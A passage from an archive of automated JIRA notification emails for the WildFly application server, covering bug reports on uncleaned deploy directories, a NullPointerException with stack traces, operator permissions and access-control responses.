> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 10:17:04 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Wed, 4 Sep 2013 10:17:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1547) deploy directories not
	cleaned up
In-Reply-To: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479851.1353935247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479851.1353935247000.8916.1378304224521@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1547?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801560#comment-12801560 ] 

jaikiran pai edited comment on WFLY-1547 at 9/4/13 10:15 AM:
-------------------------------------------------------------

A pull request containing a fix has been sent to upstream https://github.com/wildfly/wildfly/pull/5002/.

Manual testing shows that it's working. I would like someone from support team to give the latest nightly builds (https://community.jboss.org/thread/224262) a try once this has been merged, to ensure that this covers their cases.

                
      was (Author: jaikiran):
    A pull request containing a fix has been sent to upstream https://github.com/wildfly/wildfly/pull/5002/.

Manual testing shows that it's working. I would like someone from support team to give the latest nightly builds a try once this has been merged, to ensure that this covers their cases.

                  
> deploy directories not cleaned up
> ---------------------------------
>
>                 Key: WFLY-1547
>                 URL: https://issues.jboss.org/browse/WFLY-1547
>             Project: WildFly
>          Issue Type: Bug
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Shaun Appleton
>            Assignee: jaikiran pai
>         Attachments: deployment_with_hack_no_hook.txt
>
>
> JBoss EAP 6.0.0 (and 6.0.1.ER3) doesn't clean up it's tmp/vfs directories.
> The following reproduces this -
> i) ensure run.conf has the -Xrs set
> ii) ensure deployments has a deployable .ear in it
> iii) ./run standalone.sh and allow the deployments to deploy
> iv) stop the EAP process ie kill <process_id>
> v) observe content tmp/vfs
> (The -Xrs parameter is used to "-Xrs" to prevent possible interference when JVM is running as a service and receives CTRL_LOGOFF_EVENT or SIGHUP)
> This will eventually cause problems with lack of disk space.
> Note if the -Xrs parameter content is removed but the tmp/vfs dirs stills exist. This could potentially cause inode problems.
> It would be better if there were any additional code so the temp dirs are cleaned up on start up. That would resolve both the -Xrs problem and the excessive dir creation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 10:37:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 10:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executoin domain operation
In-Reply-To: <JIRA.12499957.1378305399050@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399050@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399050.9024.1378305423875@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-1997:
---------------------------------

             Summary: NPE executoin domain operation
                 Key: WFLY-1997
                 URL: https://issues.jboss.org/browse/WFLY-1997
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


{noformat}
[ERROR] Request
[ERROR] {
[ERROR]     "operation" => "composite",
[ERROR]     "address" => [],
[ERROR]     "steps" => [
[ERROR]         {
[ERROR]             "address" => [("server-group" => "*")],
[ERROR]             "operation" => "read-resource-description",
[ERROR]             "access-control" => "trim-descriptions",
[ERROR]             "operations" => true
[ERROR]         },
[ERROR]         {
[ERROR]             "address" => [
[ERROR]                 ("host" => "master"),
[ERROR]                 ("server" => "*")
[ERROR]             ],
[ERROR]             "operation" => "read-resource-description",
[ERROR]             "access-control" => "trim-descriptions",
[ERROR]             "operations" => true
[ERROR]         },
[ERROR]         {
[ERROR]             "address" => [("extension" => "*")],
[ERROR]             "operation" => "read-resource-description",
[ERROR]             "access-control" => "trim-descriptions",
[ERROR]             "operations" => true
[ERROR]         }
[ERROR]     ],
[ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
[ERROR] }

{noformat}


leads to  


{noformat}
[Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
[Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
[Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
[Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
[Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
[Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
[Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
[Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
[Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
[Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
[Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
[Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
[Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
[Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
[Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
[Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
[Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
[Host Controller] 


{noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 10:37:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 10:37:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.9028.1378305424087@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-1997:
------------------------------

    Summary: NPE executing domain operation  (was: NPE executoin domain operation)

    
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 10:43:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 10:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-21) NullPointerException when
 removing messages from non-existing queue
In-Reply-To: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489104.1365684721000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489104.1365684721000.9043.1378305784510@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-21?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801572#comment-12801572 ] 

RH Bugzilla Integration commented on WFLY-21:
---------------------------------------------

Carlo de Wolf <cdewolf at redhat.com> changed the Status of [bug 928795|https://bugzilla.redhat.com/show_bug.cgi?id=928795] from POST to MODIFIED
                
>  NullPointerException when removing messages from non-existing queue
> --------------------------------------------------------------------
>
>                 Key: WFLY-21
>                 URL: https://issues.jboss.org/browse/WFLY-21
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> {noformat}
> java.lang.NullPointerException
> 	at org.jboss.as.messaging.jms.JMSQueueControlHandler$1.removeMessages(JMSQueueControlHandler.java:78)
> 	at org.jboss.as.messaging.AbstractQueueControlHandler.executeRuntimeStep(AbstractQueueControlHandler.java:310)
> ...
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:05:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 11:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-405) Patching system
In-Reply-To: <JIRA.12414447.1279060149000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12414447.1279060149000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12414447.1279060149000.9125.1378307104718@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-405?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801587#comment-12801587 ] 

RH Bugzilla Integration commented on WFLY-405:
----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 999652|https://bugzilla.redhat.com/show_bug.cgi?id=999652] from ASSIGNED to MODIFIED
                
> Patching system
> ---------------
>
>                 Key: WFLY-405
>                 URL: https://issues.jboss.org/browse/WFLY-405
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Patching
>            Reporter: Brian Stansberry
>            Assignee: Emanuel Muckenhuber
>            Priority: Blocker
>              Labels: rhq
>             Fix For: 8.0.0.Beta1
>
>
> "Server" side of the patching system. Server not in the sense of the domain model Server, but rather client-server where the client is whatever tool (JON) determines there are patches available and asks the server to apply them.
> This does not need to implemented until M2 but thinking about it during the design of the InstalledImage is good.
> Links to the current wiki articles:
> https://community.jboss.org/wiki/LayeredDistributionsAndModulePathOrganization
> https://community.jboss.org/wiki/SingleInstallationPatching
> https://community.jboss.org/wiki/ExperimentingWithSingleInstallationPatching

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:09:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 11:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1997) NPE executing domain operation
In-Reply-To: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499957.1378305399000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499957.1378305399000.9135.1378307343457@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1997?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801590#comment-12801590 ] 

Heiko Braun commented on WFLY-1997:
-----------------------------------

the error seems to be related to the wildcard usage: ("server" => "*")
                
> NPE executing domain operation
> ------------------------------
>
>                 Key: WFLY-1997
>                 URL: https://issues.jboss.org/browse/WFLY-1997
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> {noformat}
> [ERROR] Request
> [ERROR] {
> [ERROR]     "operation" => "composite",
> [ERROR]     "address" => [],
> [ERROR]     "steps" => [
> [ERROR]         {
> [ERROR]             "address" => [("server-group" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [
> [ERROR]                 ("host" => "master"),
> [ERROR]                 ("server" => "*")
> [ERROR]             ],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         },
> [ERROR]         {
> [ERROR]             "address" => [("extension" => "*")],
> [ERROR]             "operation" => "read-resource-description",
> [ERROR]             "access-control" => "trim-descriptions",
> [ERROR]             "operations" => true
> [ERROR]         }
> [ERROR]     ],
> [ERROR]     "operation-headers" => {"roles" => "OPERATOR"}
> [ERROR] }
> {noformat}
> leads to  
> {noformat}
> [Host Controller] 16:34:53,544 ERROR [org.jboss.as.controller.management-operation] (XNIO-1 task-12) JBAS014612: Operation ("composite") failed - address: ([]): java.lang.NullPointerException
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:167)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.HostControllerExecutionSupport$Factory.create(HostControllerExecutionSupport.java:181)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationSlaveStepHandler.addSteps(OperationSlaveStepHandler.java:108)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.executeTwoPhaseOperation(OperationCoordinatorStepHandler.java:201)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.OperationCoordinatorStepHandler.execute(OperationCoordinatorStepHandler.java:124)
> [Host Controller]   at org.jboss.as.domain.controller.operations.coordination.PrepareStepHandler.execute(PrepareStepHandler.java:103)
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:610) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:488) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:277) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:272) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:257) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:142) [wildfly-controller-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiHandler.handleRequest(DomainApiHandler.java:154) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:96) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler$2.run(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> [Host Controller]   at javax.security.auth.Subject.doAs(Subject.java:415) [rt.jar:1.7.0_17]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:92) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at org.jboss.as.domain.http.server.security.SubjectDoAsHandler.handleRequest(SubjectDoAsHandler.java:86) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.server.handlers.BlockingHandler.handleRequest(BlockingHandler.java:50) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at org.jboss.as.domain.http.server.DomainApiCheckHandler.handleRequest(DomainApiCheckHandler.java:87) [wildfly-domain-http-interface-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
> [Host Controller]   at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta12.jar:1.0.0.Beta12]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_17]
> [Host Controller]   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_17]
> [Host Controller]   at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_17]
> [Host Controller] 
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:17:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 11:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1998) Operator permissions on
	server groups
In-Reply-To: <JIRA.12499962.1378307791507@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499962.1378307791507@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499962.1378307791507.9167.1378307823914@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-1998:
---------------------------------

             Summary: Operator permissions on server groups
                 Key: WFLY-1998
                 URL: https://issues.jboss.org/browse/WFLY-1998
             Project: WildFly
          Issue Type: Clarification
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


The operator should be able to start and stop servers. What about this operation:

{noformat}
/server-group=<name>:start-servers()
{noformat}

Currently the operator lacks permissions to execute this operaration

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 11:19:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Wed, 4 Sep 2013 11:19:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1874) Inconsistent access control
 response structures
In-Reply-To: <JIRA.12498544.1376475156000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498544.1376475156000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498544.1376475156000.9179.1378307943997@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1874?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun resolved WFLY-1874.
-------------------------------

    Resolution: Done


I think this is done.
                
> Inconsistent access control response structures
> -----------------------------------------------
>
>                 Key: WFLY-1874
>                 URL: https://issues.jboss.org/browse/WFLY-1874
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>         Attachments: standalone-full-ha.xml
>
>
> Compare the access control meta data for the different rrd() requests:
> a) https://gist.github.com/heiko-braun/6229507
> b) https://gist.github.com/heiko-braun/6229497
> It happens on a system with two datasources confgured (ExampleDS & Test). You can find the server config attached to this issues.
> What we are looking for is a reliable response structure, without any ambiguity.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

